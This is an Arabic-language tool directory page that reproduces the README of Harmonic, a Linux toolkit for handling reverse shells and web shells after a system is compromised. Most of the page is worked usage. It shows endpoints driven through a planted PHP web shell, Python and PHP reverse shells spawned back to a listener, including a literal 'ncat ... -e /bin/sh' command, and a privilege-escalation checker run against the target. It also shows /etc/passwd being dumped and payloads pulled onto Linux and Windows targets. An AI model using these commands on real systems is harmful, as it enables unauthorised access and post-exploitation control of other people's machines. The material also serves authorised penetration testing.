Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Harmonic — مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية | Kitploit
أدوات/GitLabGitLab/runik/harmonic
تصعيد الامتيازاتالبرمجة النصية والأتمتةاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتوليد شيفرة القشرةتطوير الحمولات
GitLabrunik/harmonic
منذ 8 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Harmonic

مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية

عرض المستودع

Harmonic Suite

بداية مجموعة أدوات لينكس لإدارة والتعامل مع القشور العكسية (لا تزال الشيفرة في حالة خام وسريعة حاليًا، مع القليل من معالجة الاستثناءات). مع استلهام قوي من فلسفة UNIX، الفكرة الأساسية هي وجود خفي (دايمون) للتعامل مع نقاط نهاية عشوائية (connd، على الرغم من أنه ليس خفيًا حقيقيًا بعد لكنه يمكن أن يعمل في طرفية منفصلة) وتشغيل الأدوات ضد نقاط النهاية هذه.

نقاط النهاية "تُدار" بواسطة سكربت أو عملية وتُعرض كملفات في نظام الملفات، ومن ثم يمكن استخدام عميل برمجي رفيع للتفاعل معها، ويمكن بنفس السهولة الكتابة إليها والقراءة منها باستخدام أوامر القشرة. في الواقع، القدرة على تشغيل السكربتات بشكل مستقل من القشرة هي عامل تصميم رئيسي حيث يُفترض، في أفضل الحالات، أن يعتمد السكربت على وجود نقطة نهاية لكن يمكن استخدامه مع غيره أيضًا (تتسلسل مع بعضها البعض).

خيارات نقاط النهاية الحالية هي:

  • nc - تشغيل نقطة نهاية netcat على منفذ معين
  • wsh - قشرة سياقية تستخدم للتفاعل مع سكربت قشرة ويب أساسي
  • with - تشغيل عملية عشوائية كنقطة نهاية

يوفر العميل البرمجي الرفيع (hthinc.py) واجهة أساسية لنقطة نهاية النظام بالإضافة إلى تشغيل سكربتات بسرعة ضد النظام. تمت كتابة عدة سكربتات أساسية لكنها مفيدة:

  • sp - يقوم بإجراء تعداد ضد نظام لينكس بعيد، ويحدد لغات السكربتات (حاليًا بايثون فقط)، وسيبدأ نقطة نهاية جديدة ويطلق قشرة تفاعلية عبر نقطة النهاية الحالية للاتصال بنقطة النهاية الجديدة. إذا تم تحديد مشغل، فسيتخطى التعداد ويحاول استخدام المشغل
  • lpc - تشغيل سكربت Linux Priv Escalation Checker ضد النظام عبر نقطة النهاية
  • log - تسجيل مخرجات أمر إلى دليل العمل الحالي
  • mac - تشغيل ماكرو محدد مسبقًا ضد نقطة النهاية (كما هو معرف في قسم الماكرو في $HCROOT/.hcrc)
  • pull - سكربت ماكرو لـ wget يقوم بتنزيل الملفات من بوابة إرسال (لينكس)
  • fpull - سكربت ماكرو لـ fetch يقوم بتنزيل الملفات من بوابة إرسال (*bsd)
  • wpinit - تعداد محركات سكربتات ويندوز (حاليًا VB فقط) وإنشاء سكربت بوابة ملفات للاستخدام مع wpull
  • vbpull - سكربت ماكرو لسكربت portal.vbs (انظر: wpinit) لسحب الملفات من بوابة إرسال (ويندوز)
  • pspull - سكربت ماكرو لاستخدام PowerShell لسحب ملف من بوابة إرسال (ويندوز)

أنواع مشغلات القشرة العكسية (أي ما يقوم بتشغيل القشرة على النظام البعيد) هي التالية (حاليًا دعم لينكس):

  • php
  • perl
  • fifo
  • python27
  • python3x

سكربتات أخرى:

  • hgenrsh.py - توليد أمر قشرة عكسية بايثون (مضغوط ومشفر base64) يمكنه التفرع من العملية الجارية
  • hcmd.py - تشغيل أمر من البيئة المحلية
  • hscr.py - تشغيل سكربت قابل للربط (hook)
  • hdis.py - الاستماع لاتصال وإرسال بيانات عشوائية إلى العميل من stdin
  • sys/bin/hpd.py - خادم بوابة إرسال لسحب الملفات باستخدام بروتوكول HTTP

مثال على الاستخدام

  • في المثال، يشير $HCROOT إلى دليل هذا المستودع (انظر الإعداد في الأسفل)
  • connd يعمل كخفي أو كعملية عادية.
    • يمكن تشغيله من $HCROOT/sys/bin/connd (يجب بناؤه أولاً)

أخبر connd ببدء نقطة نهاية، باستخدام مشغل قشرة wedge ضد سكربت php المقدم والذي يقوم باستدعاءات نظام مع استجابة منسقة. لكن هذا السكربت المكون من سطر واحد كان يمكن بسهولة أن يُحقن ككود في سجل خادم

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

هذا أنشأ نقطة النهاية 1 (أنبوبي إدخال/إخراج — يمكنك رؤيتهما كـ t1i و t1o في الدليل الفرعي run). لذا الآن نستخدم hthinc.py للتفاعل مع القشرة.

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

نعلم أن هذا نظام لينكس. نريد الابتعاد عن قشرة ويب محشورة والحصول على قشرة حقيقية. تشغيل الأمر المدمج !help يعرض رسالة مساعدة thinc. يمكننا تشغيل سكربت sp والذي سيشغّل أوامر تلقائيًا ضد النظام البعيد، إجراء تعداد للبيئة، بدء نقطة نهاية nc، إطلاق قشرة عكسية والدخول تلقائيًا عبر hthinc.py جديد:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

أو إذا علمنا أننا نستخدم (مثلًا) PHP كمشغل، يمكننا تحديد ذلك:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

ولنفترض أن لدينا قشرة بدون TTY أو نريد الخروج منها يمكننا تشغيل أحد الماكروهات الافتراضية:

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

أيضًا إذا أردنا تسجيل مخرجات أمر يمكننا استخدام سكربت log والذي سيحفظها في دليل العمل الحالي:

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

بينما نقاط النهاية تعمل، يمكنك إرفاق/فصل العملاء لأن عمليات الاتصال تُدار بواسطة الخفي

التكرار السريع

نظرًا لأن كل شيء يمكن تشغيله بطريقة يونكسية أكثر، يمكننا تكرار العمليات بسرعة من القشرة. نبدأ نقطة نهاية قشرة ويب، نحصل على معرف نقطة النهاية ثم من القشرة نشغّل سكربت sp.py ضد نقطة النهاية (إنه نفس السكربت المستخدم في hthinc.py لكن بنقطة دخول مختلفة).

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

أو كسطر واحد:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

وأتمتته بسهولة:

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

تشغيل أمر من بيئتك المحلية

أداة hcmd.py تسمح لك بتشغيل أمر بسرعة عبر نقطة نهاية من قشرتك

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

وتوجيه النتائج أو إعادة توجيهها كالمعتاد

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

تتبع نقاط النهاية

يمكنك استخدام الفعل list مع hconn.py لرؤية القائمة الحالية لنقاط النهاية، مع حالة الاتصال إذا كان ذلك مناسبًا

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

العمل مع نقاط النهاية كملفات

إعداد نقطة نهاية قشرة wedge:

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

الآن يمكننا إعداد مستمع netcat على المنفذ 4444:

root@kitploit:~
$ hconn.py start nc 4444
2

ثم الكتابة إلى نقطة نهاية القشرة wedge (معرف 1) عبر ملف الإدخال:

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

يجب أن يكون هذا قد أطلق قشرة عائدة إلى مستمع netcat. أرفق العميل الرفيع بنقطة نهاية netcat (معرف 2) وينبغي أن نحصل على قشرة أخرى بانتظارنا:

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

تشغيل السكربتات

إن تعميم واجهة القشرة في ملفات يعني أن السكربتات المستخدمة ضد نقطة نهاية قشرة ويب ستعمل أيضًا ضد نقطة نهاية قشرة عكسية netcat. يمكنك استدعاء السكربتات باستخدام مسارها المطلق ($HCROOT/share/script/*.py) أو يمكنك استخدام السكربت المساعد hscr.py

يمكننا تشغيل sp.py ضد نقطة نهاية netcat وإطلاق قشرة عكسية أخرى:

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

والمكافئ باستخدام المسار المطلق سيكون $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1

أو يمكننا تشغيل Linux Priv Escalation Checker ضد قشرة ويب:

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

ويمكننا استدعاءها داخل جلسة hthinc.py

!run lpc

متغيرات البيئة

يمكن استخدام متغيرات البيئة لتحديد قيم عامة. هناك ثلاثة مستويات من المتغيرات، كل مستوى أقل أولوية من التالي:

  • الموارد
  • البيئة/القشرة
  • مباشرة (inline)

متغيرات ملف الموارد معرفة في $HCROOT/.hcrc. هذه هي الأدنى أولوية لكن يمكن استخدامها لتجنب تلويث متغيرات البيئة على مستوى النظام

متغيرات البيئة/القشرة تُدخل إلى العملية بواسطة القشرة وتُسبق بـ HCV_. ستندمج مع متغيرات الموارد وتستبدل القيم الموجودة بالفعل.

المتغيرات المباشرة ستستبدل أي شيء معرّف مسبقًا

مثال

في هذه الأمثلة، LHOST=127.0.0.1 معرف كمتغير مورد في .hcrc واستخدام السكربت هو ./script LPORT [LHOST]

السكربت التالي سيحصل على LHOST=127.0.0.1 و LPORT=4455 (متغير مورد)

root@kitploit:~
$ ./script 4455

السكربت التالي سيحصل على LHOST=192.168.1.101 و LPORT=4455 (متغير قشرة)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

السكربت التالي سيحصل على LHOST=10.10.10.125 (متغير مباشر)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

يمكن تطبيق نفس المبادئ على hthinc.py !run SCR، (تذكر: متغيرات البيئة/القشرة هي تلك التي تُمرر إلى ./hthinc.py)

البوابة

خادم البوابة هو خادم HTTP أساسي يمكن استخدامه لسحب الملفات إلى النظام البعيد باستخدام السكربتات. تميل هذه السكربتات إلى العمل كماكروهات حول الأمر، مما ينشئ تفاعلًا أكثر انتظامًا عبر المنصات. يتعامل الخادم مع الملفات نسبيًا من $HCROOT/share/disp/

مثال على الاستخدام

hpd.py يعمل على المنفذ 80. تم تعريف DHOST و DPORT في .hcrc كـ 127.0.0.1 و 80 على التوالي (يشيران إلى خادم الإرسال). هذا يعني أنني لست بحاجة إلى إدخال هذه المتغيرات عند استدعاء السكربت لكن إذا كانت بحاجة إلى أن تكون مختلفة، فنحن فقط ندرجها كمتغيرات مباشرة مثل متغير FILE=.

نستدعي السكربتات من hthinc.py لكن، مرة أخرى، يمكننا تشغيل هذه السكربتات من قشرتنا المعتادة بتمرير معرف نقطة نهاية إليها على سطر الأوامر. إذا كان DHOST و DPORT معرّفين بالفعل، لسنا بحاجة إلى تضمينهما على سطر الأوامر.

في هذا نستخدم powershell، عبر pspull، لسحب الملف:

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

هنا ليس لدينا PowerShell لذا نحتاج إلى تهيئة سكربت البوابة، ثم سحب الملف:

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

سكربت pull يستخدم للينكس:

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

فقط لتوضيح المتغيرات المباشرة:

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

الماكروهات

تُعرّف الماكروهات في قسم الماكرو في $HCROOT/.hcrc ويتم استدعاؤها بواسطة سكربت mac. في هذا الشكل الأساسي تشبه اسمًا مستعارًا في القشرة وهي فعالة كسكربتات بسيطة باتجاه واحد، ترسل أمرًا عبر نقطة النهاية إلى القشرة البعيدة. من الأسهل ربط تسلسلات الأوامر المستخدمة بشكل متكرر لكنها مرهقة بماكروهات.

استدعاء سكربت mac من hthinc.py يتضمن استخدام متغير غير مسمى، وهو متغير بدون تسمية. هذا يسمح باستدعاء الماكروهات مثل معامل سطر أوامر للسكربت.

مرة أخرى يمكن استدعاء الماكروهات من قشرتك المعتادة باستخدام نفس سكربت mac.py.

مثال

هذا المثال يستدعي ماكرو pty في قشرة غير مستقرة. الماكرو هو اسم مستعار للـ python -c 'import pty; pty.spawn("/bin/bash")':

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

المكافئ لتشغيله من سطر الأوامر على (مثلًا) نقطة النهاية 5 سيكون hscr.py 5 mac pty. في المرة القادمة التي ترفق فيها عميلًا بنقطة النهاية يجب أن تعمل بقشرة مع tty.

إدخال !run mac --list سيعرض قائمة الماكروهات.

الإعداد

  • تتطلب مجموعة الأدوات متغير بيئة HCROOT يشير إلى الدليل الجذر لـ harmonic.
  • أضف $HCROOT إلى $PATH الخاص بك وستتمكن من استخدام السكربتات الرئيسية من أي دليل.

لبناء connd:

  • أضف $HCROOT/sys إلى $GOPATH الخاص بك
  • من $HCROOT/sys/bin: go build connd

التبعيات

  • Python 3.5
  • Go (نظامي هو 1.7.5)
  • Linux
تنزيل الأداة